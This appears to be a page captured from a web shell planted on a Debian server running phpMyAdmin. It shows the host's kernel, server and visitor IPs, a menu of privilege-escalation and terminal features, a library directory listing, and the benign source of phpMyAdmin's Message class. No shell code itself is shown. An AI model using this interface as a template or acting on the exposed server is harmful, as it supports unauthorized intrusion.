Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
phpmyadmin /
libraries /
Delete
Unzip
Name
Size
Permission
Date
Action
bfShapeFiles
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
config
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
controllers
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
dbi
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
di
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
engines
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
gis
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
navigation
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
plugins
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
properties
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
rte
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
sql-parser
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
Advisor.php
15.13
KB
-rw-r--r--
2017-01-23 20:20
Config.php
54.69
KB
-rw-r--r--
2020-10-23 14:39
Console.php
14.82
KB
-rw-r--r--
2017-01-23 20:20
DatabaseInterface.php
95.6
KB
-rw-r--r--
2017-01-23 20:20
DbList.php
1.9
KB
-rw-r--r--
2017-01-23 20:20
DbQbe.php
68.87
KB
-rw-r--r--
2017-01-23 20:20
DbSearch.php
17.21
KB
-rw-r--r--
2017-01-23 20:20
DisplayResults.php
206
KB
-rw-r--r--
2020-10-23 14:39
Error.php
12.7
KB
-rw-r--r--
2017-01-23 20:20
ErrorHandler.php
16.48
KB
-rw-r--r--
2017-01-23 20:20
File.php
18.82
KB
-rw-r--r--
2017-01-23 20:20
Font.php
4.24
KB
-rw-r--r--
2017-01-23 20:20
Footer.php
10.52
KB
-rw-r--r--
2020-10-23 14:39
Header.php
25.34
KB
-rw-r--r--
2017-01-23 20:20
Index.php
23.79
KB
-rw-r--r--
2017-01-23 20:20
IndexColumn.php
4.46
KB
-rw-r--r--
2017-01-23 20:20
Language.php
4.27
KB
-rw-r--r--
2017-01-23 20:20
LanguageManager.php
20.75
KB
-rw-r--r--
2017-01-23 20:20
Linter.php
5.02
KB
-rw-r--r--
2017-01-23 20:20
ListAbstract.php
3.15
KB
-rw-r--r--
2017-01-23 20:20
ListDatabase.php
4.62
KB
-rw-r--r--
2017-01-23 20:20
Menu.php
21.14
KB
-rw-r--r--
2017-01-23 20:20
Message.php
18.67
KB
-rw-r--r--
2017-01-23 20:20
OutputBuffering.php
3.59
KB
-rw-r--r--
2017-01-23 20:20
PDF.php
3.94
KB
-rw-r--r--
2017-01-23 20:20
Partition.php
7.26
KB
-rw-r--r--
2017-01-23 20:20
Psr4Autoloader.php
4.85
KB
-rw-r--r--
2017-01-23 20:20
RecentFavoriteTable.php
11.78
KB
-rw-r--r--
2017-01-23 20:20
Response.php
12.61
KB
-rw-r--r--
2017-01-23 20:20
SavedSearches.php
11.67
KB
-rw-r--r--
2017-01-23 20:20
Scripts.php
7.38
KB
-rw-r--r--
2017-01-23 20:20
ServerStatusData.php
15.72
KB
-rw-r--r--
2017-01-23 20:20
StorageEngine.php
13.61
KB
-rw-r--r--
2017-01-23 20:20
SubPartition.php
3.52
KB
-rw-r--r--
2017-01-23 20:20
SysInfo.php
799
B
-rw-r--r--
2017-01-23 20:20
SysInfoLinux.php
1.92
KB
-rw-r--r--
2017-01-23 20:20
SysInfoSunOS.php
1.86
KB
-rw-r--r--
2017-01-23 20:20
SysInfoWINNT.php
3.08
KB
-rw-r--r--
2017-01-23 20:20
SystemDatabase.php
3.66
KB
-rw-r--r--
2017-01-23 20:20
Table.php
88.12
KB
-rw-r--r--
2017-01-23 20:20
Template.php
4.45
KB
-rw-r--r--
2017-01-23 20:20
Theme.php
11.34
KB
-rw-r--r--
2017-01-23 20:20
ThemeManager.php
12.91
KB
-rw-r--r--
2017-01-23 20:20
Tracker.php
30.35
KB
-rw-r--r--
2017-01-23 20:20
Types.php
6.08
KB
-rw-r--r--
2017-01-23 20:20
TypesMySQL.php
17.26
KB
-rw-r--r--
2017-01-23 20:20
Util.php
172.46
KB
-rw-r--r--
2020-10-23 14:39
VersionInformation.php
7.87
KB
-rw-r--r--
2017-01-23 20:20
ZipFile.php
6.63
KB
-rw-r--r--
2017-01-23 20:20
advisor.lib.php
1.6
KB
-rw-r--r--
2017-01-23 20:20
advisory_rules.txt
25.94
KB
-rw-r--r--
2017-01-23 20:20
autoloader.php
450
B
-rw-r--r--
2017-01-23 20:20
bookmark.lib.php
8.5
KB
-rw-r--r--
2017-01-23 20:20
browse_foreigners.lib.php
9.83
KB
-rw-r--r--
2017-01-23 20:20
central_columns.lib.php
49.38
KB
-rw-r--r--
2017-01-23 20:20
charset_conversion.lib.php
3.54
KB
-rw-r--r--
2017-01-23 20:20
check_user_privileges.lib.php
10.65
KB
-rw-r--r--
2017-01-23 20:20
cleanup.lib.php
1.29
KB
-rw-r--r--
2017-01-23 20:20
common.inc.php
34.38
KB
-rw-r--r--
2020-10-23 14:39
config.default.php
66.5
KB
-rw-r--r--
2017-01-23 20:20
config.values.php
10.17
KB
-rw-r--r--
2017-01-23 20:20
core.lib.php
29.94
KB
-rw-r--r--
2017-01-23 20:20
create_addfield.lib.php
15.68
KB
-rw-r--r--
2017-01-23 20:20
database_interface.inc.php
2.63
KB
-rw-r--r--
2017-01-23 20:20
db_common.inc.php
3.12
KB
-rw-r--r--
2017-01-23 20:20
db_designer.lib.php
10.4
KB
-rw-r--r--
2020-10-23 14:39
db_table_exists.lib.php
3.21
KB
-rw-r--r--
2017-01-23 20:20
display_change_password.lib.php
5.45
KB
-rw-r--r--
2017-01-23 20:20
display_create_table.lib.php
1.53
KB
-rw-r--r--
2017-01-23 20:20
display_export.lib.php
38.11
KB
-rw-r--r--
2017-01-23 20:20
display_git_revision.lib.php
3.04
KB
-rw-r--r--
2020-10-23 14:39
display_import.lib.php
24.34
KB
-rw-r--r--
2017-01-23 20:20
display_import_ajax.lib.php
3.13
KB
-rw-r--r--
2017-01-23 20:20
display_select_lang.lib.php
2.36
KB
-rw-r--r--
2017-01-23 20:20
error.inc.php
1.21
KB
-rw-r--r--
2017-01-23 20:20
error_report.lib.php
10.25
KB
-rw-r--r--
2017-01-23 20:20
export.lib.php
35.16
KB
-rw-r--r--
2017-01-23 20:20
file_listing.lib.php
2.37
KB
-rw-r--r--
2017-01-23 20:20
iconv_wrapper.lib.php
3.88
KB
-rw-r--r--
2017-01-23 20:20
import.lib.php
50.64
KB
-rw-r--r--
2017-01-23 20:20
index.lib.php
1.37
KB
-rw-r--r--
2017-01-23 20:20
information_schema_relations.lib.php
10.95
KB
-rw-r--r--
2017-01-23 20:20
insert_edit.lib.php
112.79
KB
-rw-r--r--
2020-10-23 14:39
ip_allow_deny.lib.php
9.35
KB
-rw-r--r--
2017-01-23 20:20
js_escape.lib.php
4.43
KB
-rw-r--r--
2017-01-23 20:20
kanji-encoding.lib.php
4.46
KB
-rw-r--r--
2017-01-23 20:20
language_stats.inc.php
1.45
KB
-rw-r--r--
2017-01-23 20:20
logging.lib.php
521
B
-rw-r--r--
2017-01-23 20:20
mime.lib.php
704
B
-rw-r--r--
2017-01-23 20:20
mult_submits.inc.php
10.64
KB
-rw-r--r--
2017-01-23 20:20
mult_submits.lib.php
20.44
KB
-rw-r--r--
2017-01-23 20:20
mysql_charsets.inc.php
4.09
KB
-rw-r--r--
2017-01-23 20:20
mysql_charsets.lib.php
10.47
KB
-rw-r--r--
2017-01-23 20:20
mysql_relations.lib.php
5.12
KB
-rw-r--r--
2017-01-23 20:20
normalization.lib.php
33.98
KB
-rw-r--r--
2017-01-23 20:20
opendocument.lib.php
7.94
KB
-rw-r--r--
2017-01-23 20:20
operations.lib.php
73.64
KB
-rw-r--r--
2017-01-23 20:20
parse_analyze.lib.php
2.12
KB
-rw-r--r--
2017-01-23 20:20
plugin_interface.lib.php
19.69
KB
-rw-r--r--
2017-01-23 20:20
pmd_common.php
24.2
KB
-rw-r--r--
2020-10-23 14:39
relation.lib.php
68.41
KB
-rw-r--r--
2017-01-23 20:20
relation_cleanup.lib.php
13.84
KB
-rw-r--r--
2017-01-23 20:20
replication.inc.php
8.82
KB
-rw-r--r--
2017-01-23 20:20
replication_gui.lib.php
37.45
KB
-rw-r--r--
2017-01-23 20:20
sanitizing.lib.php
6.3
KB
-rw-r--r--
2017-01-23 20:20
select_server.lib.php
3.4
KB
-rw-r--r--
2017-01-23 20:20
server_common.inc.php
1.22
KB
-rw-r--r--
2017-01-23 20:20
server_common.lib.php
1.92
KB
-rw-r--r--
2017-01-23 20:20
server_privileges.lib.php
179.22
KB
-rw-r--r--
2020-10-23 14:39
server_status.lib.php
9.92
KB
-rw-r--r--
2017-01-23 20:20
server_status_advisor.lib.php
1.89
KB
-rw-r--r--
2017-01-23 20:20
server_status_monitor.lib.php
26.22
KB
-rw-r--r--
2017-01-23 20:20
server_status_processes.lib.php
9.57
KB
-rw-r--r--
2017-01-23 20:20
server_status_queries.lib.php
4.86
KB
-rw-r--r--
2017-01-23 20:20
server_status_variables.lib.php
28.95
KB
-rw-r--r--
2017-01-23 20:20
server_user_groups.lib.php
12.8
KB
-rw-r--r--
2017-01-23 20:20
server_users.lib.php
1.35
KB
-rw-r--r--
2017-01-23 20:20
session.inc.php
5.22
KB
-rw-r--r--
2017-01-23 20:20
session.lib.php
735
B
-rw-r--r--
2017-01-23 20:20
special_schema_links.lib.php
17.51
KB
-rw-r--r--
2017-01-23 20:20
sql.lib.php
77.51
KB
-rw-r--r--
2017-01-23 20:20
sql_query_form.lib.php
15.71
KB
-rw-r--r--
2017-01-23 20:20
string.lib.php
800
B
-rw-r--r--
2017-01-23 20:20
stringMb.lib.php
1.86
KB
-rw-r--r--
2017-01-23 20:20
stringNative.lib.php
6.82
KB
-rw-r--r--
2017-01-23 20:20
sysinfo.lib.php
1.34
KB
-rw-r--r--
2017-01-23 20:20
tbl_columns_definition_form.inc.php
13.55
KB
-rw-r--r--
2017-01-23 20:20
tbl_common.inc.php
1.3
KB
-rw-r--r--
2017-01-23 20:20
tbl_info.inc.php
3.54
KB
-rw-r--r--
2017-01-23 20:20
tbl_partition_definition.inc.php
5.55
KB
-rw-r--r--
2017-01-23 20:20
tracking.lib.php
54.93
KB
-rw-r--r--
2017-01-23 20:20
transformations.lib.php
14.63
KB
-rw-r--r--
2020-10-23 14:39
url_generating.lib.php
6.77
KB
-rw-r--r--
2017-01-23 20:20
user_preferences.inc.php
2.38
KB
-rw-r--r--
2017-01-23 20:20
user_preferences.lib.php
8.17
KB
-rw-r--r--
2017-01-23 20:20
util.lib.php
749
B
-rw-r--r--
2017-01-23 20:20
vendor_config.php
2.49
KB
-rw-r--r--
2020-10-23 14:39
zip_extension.lib.php
5.38
KB
-rw-r--r--
2017-01-23 20:20
Save
Rename
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Holds class Message * * @package PhpMyAdmin */ namespace PMA\libraries; /** * a single message * * simple usage examples: * <code> * // display simple error message 'Error' * Message::error()->display(); * * // get simple success message 'Success' * $message = Message::success(); * * // get special notice * $message = Message::notice(__('This is a localized notice')); * </code> * * more advanced usage example: * <code> * // create a localized success message * $message = Message::success('strSomeLocaleMessage'); * * // create another message, a hint, with a localized string which expects * // two parameters: $strSomeTooltip = 'Read the %smanual%s' * $hint = Message::notice('strSomeTooltip'); * // replace placeholders with the following params * $hint->addParam('[doc@cfg_Example]'); * $hint->addParam('[/doc]'); * // add this hint as a tooltip * $hint = showHint($hint); * * // add the retrieved tooltip reference to the original message * $message->addMessage($hint); * * // create another message ... * $more = Message::notice('strSomeMoreLocale'); * $more->addString('strSomeEvenMoreLocale', '<br />'); * $more->addParam('parameter for strSomeMoreLocale'); * $more->addParam('more parameter for strSomeMoreLocale'); * * // and add it also to the original message * $message->addMessage($more); * // finally add another raw message * $message->addMessage('some final words', ' - '); * * // display() will now print all messages in the same order as they are added * $message->display(); * // strSomeLocaleMessage <sup>1</sup> strSomeMoreLocale<br /> * // strSomeEvenMoreLocale - some final words * </code> * * @package PhpMyAdmin */ class Message { const SUCCESS = 1; // 0001 const NOTICE = 2; // 0010 const ERROR = 8; // 1000 const SANITIZE_NONE = 0; // 0000 0000 const SANITIZE_STRING = 16; // 0001 0000 const SANITIZE_PARAMS = 32; // 0010 0000 const SANITIZE_BOOTH = 48; // 0011 0000 /** * message levels * * @var array */ static public $level = array ( Message::SUCCESS => 'success', Message::NOTICE => 'notice', Message::ERROR => 'error', ); /** * The message number * * @access protected * @var integer */ protected $number = Message::NOTICE; /** * The locale string identifier * * @access protected * @var string */ protected $string = ''; /** * The formatted message * * @access protected * @var string */ protected $message = ''; /** * Whether the message was already displayed * * @access protected * @var boolean */ protected $isDisplayed = false; /** * Whether to use BB code when displaying. * * @access protected * @var boolean */ protected $useBBCode = true; /** * Unique id * * @access protected * @var string */ protected $hash = null; /** * holds parameters * * @access protected * @var array */ protected $params = array(); /** * holds additional messages * * @access protected * @var array */ protected $addedMessages = array(); /** * Constructor * * @param string $string The message to be displayed * @param integer $number A numeric representation of the type of message * @param array $params An array of parameters to use in the message * @param integer $sanitize A flag to indicate what to sanitize, see * constant definitions above */ public function __construct($string = '', $number = Message::NOTICE, $params = array(), $sanitize = Message::SANITIZE_NONE ) { $this->setString($string, $sanitize & Message::SANITIZE_STRING); $this->setNumber($number); $this->setParams($params, $sanitize & Message::SANITIZE_PARAMS); } /** * magic method: return string representation for this object * * @return string */ public function __toString() { return $this->getMessage(); } /** * get Message of type success * * shorthand for getting a simple success message * * @param string $string A localized string * e.g. __('Your SQL query has been * executed successfully') * * @return Message * @static */ static public function success($string = '') { if (empty($string)) { $string = __('Your SQL query has been executed successfully.'); } return new Message($string, Message::SUCCESS); } /** * get Message of type error * * shorthand for getting a simple error message * * @param string $string A localized string e.g. __('Error') * * @return Message * @static */ static public function error($string = '') { if (empty($string)) { $string = __('Error'); } return new Message($string, Message::ERROR); } /** * get Message of type notice * * shorthand for getting a simple notice message * * @param string $string A localized string * e.g. __('The additional features for working with * linked tables have been deactivated. To find out * why click %shere%s.') * * @return Message * @static */ static public function notice($string) { return new Message($string, Message::NOTICE); } /** * get Message with customized content * * shorthand for getting a customized message * * @param string $message A localized string * @param integer $type A numeric representation of the type of message * * @return Message * @static */ static public function raw($message, $type = Message::NOTICE) { $r = new Message('', $type); $r->setMessage($message); $r->setBBCode(false); return $r; } /** * get Message for number of affected rows * * shorthand for getting a customized message * * @param integer $rows Number of rows * * @return Message * @static */ static public function getMessageForAffectedRows($rows) { $message = Message::success( _ngettext('%1$d row affected.', '%1$d rows affected.', $rows) ); $message->addParam($rows); return $message; } /** * get Message for number of deleted rows * * shorthand for getting a customized message * * @param integer $rows Number of rows * * @return Message * @static */ static public function getMessageForDeletedRows($rows) { $message = Message::success( _ngettext('%1$d row deleted.', '%1$d rows deleted.', $rows) ); $message->addParam($rows); return $message; } /** * get Message for number of inserted rows * * shorthand for getting a customized message * * @param integer $rows Number of rows * * @return Message * @static */ static public function getMessageForInsertedRows($rows) { $message = Message::success( _ngettext('%1$d row inserted.', '%1$d rows inserted.', $rows) ); $message->addParam($rows); return $message; } /** * get Message of type error with custom content * * shorthand for getting a customized error message * * @param string $message A localized string * * @return Message * @static */ static public function rawError($message) { return Message::raw($message, Message::ERROR); } /** * get Message of type notice with custom content * * shorthand for getting a customized notice message * * @param string $message A localized string * * @return Message * @static */ static public function rawNotice($message) { return Message::raw($message, Message::NOTICE); } /** * get Message of type success with custom content * * shorthand for getting a customized success message * * @param string $message A localized string * * @return Message * @static */ static public function rawSuccess($message) { return Message::raw($message, Message::SUCCESS); } /** * returns whether this message is a success message or not * and optionally makes this message a success message * * @param boolean $set Whether to make this message of SUCCESS type * * @return boolean whether this is a success message or not */ public function isSuccess($set = false) { if ($set) { $this->setNumber(Message::SUCCESS); } return $this->getNumber() === Message::SUCCESS; } /** * returns whether this message is a notice message or not * and optionally makes this message a notice message * * @param boolean $set Whether to make this message of NOTICE type * * @return boolean whether this is a notice message or not */ public function isNotice($set = false) { if ($set) { $this->setNumber(Message::NOTICE); } return $this->getNumber() === Message::NOTICE; } /** * returns whether this message is an error message or not * and optionally makes this message an error message * * @param boolean $set Whether to make this message of ERROR type * * @return boolean Whether this is an error message or not */ public function isError($set = false) { if ($set) { $this->setNumber(Message::ERROR); } return $this->getNumber() === Message::ERROR; } /** * Set whether we should use BB Code when rendering. * * @param boolean $useBBCode Use BB Code? * * @return void */ public function setBBCode($useBBCode) { $this->useBBCode = $useBBCode; } /** * set raw message (overrides string) * * @param string $message A localized string * @param boolean $sanitize Whether to sanitize $message or not * * @return void */ public function setMessage($message, $sanitize = false) { if ($sanitize) { $message = Message::sanitize($message); } $this->message = $message; } /** * set string (does not take effect if raw message is set) * * @param string $string string to set * @param boolean $sanitize whether to sanitize $string or not * * @return void */ public function setString($string, $sanitize = true) { if ($sanitize) { $string = Message::sanitize($string); } $this->string = $string; } /** * set message type number * * @param integer $number message type number to set * * @return void */ public function setNumber($number) { $this->number = $number; } /** * add parameter, usually in conjunction with strings * * usage * <code> * $message->addParam('strLocale', false); * $message->addParam('[em]some string[/em]'); * $message->addParam('<img src="img" />', false); * </code> * * @param mixed $param parameter to add * @param boolean $raw whether parameter should be passed as is * without html escaping * * @return void */ public function addParam($param, $raw = true) { if ($param instanceof Message) { $this->params[] = $param; } elseif ($raw) { $this->params[] = htmlspecialchars($param); } else { $this->params[] = Message::notice($param); } } /** * add another string to be concatenated on displaying * * @param string $string to be added * @param string $separator to use between this and previous string/message * * @return void */ public function addString($string, $separator = ' ') { $this->addedMessages[] = $separator; $this->addedMessages[] = Message::notice($string); } /** * add a bunch of messages at once * * @param array $messages to be added * @param string $separator to use between this and previous string/message * * @return void */ public function addMessages($messages, $separator = ' ') { foreach ($messages as $message) { $this->addMessage($message, $separator); } } /** * add another raw message to be concatenated on displaying * * @param mixed $message to be added * @param string $separator to use between this and previous string/message * * @return void */ public function addMessage($message, $separator = ' ') { if (mb_strlen($separator)) { $this->addedMessages[] = $separator; } if ($message instanceof Message) { $this->addedMessages[] = $message; } else { $this->addedMessages[] = Message::rawNotice($message); } } /** * set all params at once, usually used in conjunction with string * * @param array|string $params parameters to set * @param boolean $sanitize whether to sanitize params * * @return void */ public function setParams($params, $sanitize = false) { if ($sanitize) { $params = Message::sanitize($params); } $this->params = $params; } /** * return all parameters * * @return array */ public function getParams() { return $this->params; } /** * return all added messages * * @return array */ public function getAddedMessages() { return $this->addedMessages; } /** * Sanitizes $message * * @param mixed $message the message(s) * * @return mixed the sanitized message(s) * @access public * @static */ static public function sanitize($message) { if (is_array($message)) { foreach ($message as $key => $val) { $message[$key] = Message::sanitize($val); } return $message; } return htmlspecialchars($message); } /** * decode $message, taking into account our special codes * for formatting * * @param string $message the message * * @return string the decoded message * @access public * @static */ static public function decodeBB($message) { return PMA_sanitize($message, false, true); } /** * wrapper for sprintf() * * @return string formatted */ static public function format() { $params = func_get_args(); if (isset($params[1]) && is_array($params[1])) { array_unshift($params[1], $params[0]); $params = $params[1]; } return call_user_func_array('sprintf', $params); } /** * returns unique Message::$hash, if not exists it will be created * * @return string Message::$hash */ public function getHash() { if (null === $this->hash) { $this->hash = md5( $this->getNumber() . $this->string . $this->message ); } return $this->hash; } /** * returns compiled message * * @return string complete message */ public function getMessage() { $message = $this->message; if (0 === mb_strlen($message)) { $string = $this->getString(); if (isset($GLOBALS[$string])) { $message = $GLOBALS[$string]; } elseif (0 === mb_strlen($string)) { $message = ''; } else { $message = $string; } } if ($this->isDisplayed()) { $message = $this->getMessageWithIcon($message); } if (count($this->getParams()) > 0) { $message = Message::format($message, $this->getParams()); } if ($this->useBBCode) { $message = Message::decodeBB($message); } foreach ($this->getAddedMessages() as $add_message) { $message .= $add_message; } return $message; } /** * Returns only message string without image & other HTML. * * @return string */ public function getOnlyMessage() { return $this->message; } /** * returns Message::$string * * @return string Message::$string */ public function getString() { return $this->string; } /** * returns Message::$number * * @return integer Message::$number */ public function getNumber() { return $this->number; } /** * returns level of message * * @return string level of message */ public function getLevel() { return Message::$level[$this->getNumber()]; } /** * Displays the message in HTML * * @return void */ public function display() { echo $this->getDisplay(); $this->isDisplayed(true); } /** * returns HTML code for displaying this message * * @return string whole message box */ public function getDisplay() { $this->isDisplayed(true); return '<div class="' . $this->getLevel() . '">' . $this->getMessage() . '</div>'; } /** * sets and returns whether the message was displayed or not * * @param boolean $isDisplayed whether to set displayed flag * * @return boolean Message::$isDisplayed */ public function isDisplayed($isDisplayed = false) { if ($isDisplayed) { $this->isDisplayed = true; } return $this->isDisplayed; } /** * Returns the message with corresponding image icon * * @param string $message the message(s) * * @return string message with icon */ public function getMessageWithIcon($message) { if ('error' == $this->getLevel()) { $image = 's_error.png'; } elseif ('success' == $this->getLevel()) { $image = 's_success.png'; } else { $image = 's_notice.png'; } $message = Message::notice(Util::getImage($image)) . " " . $message; return $message; } }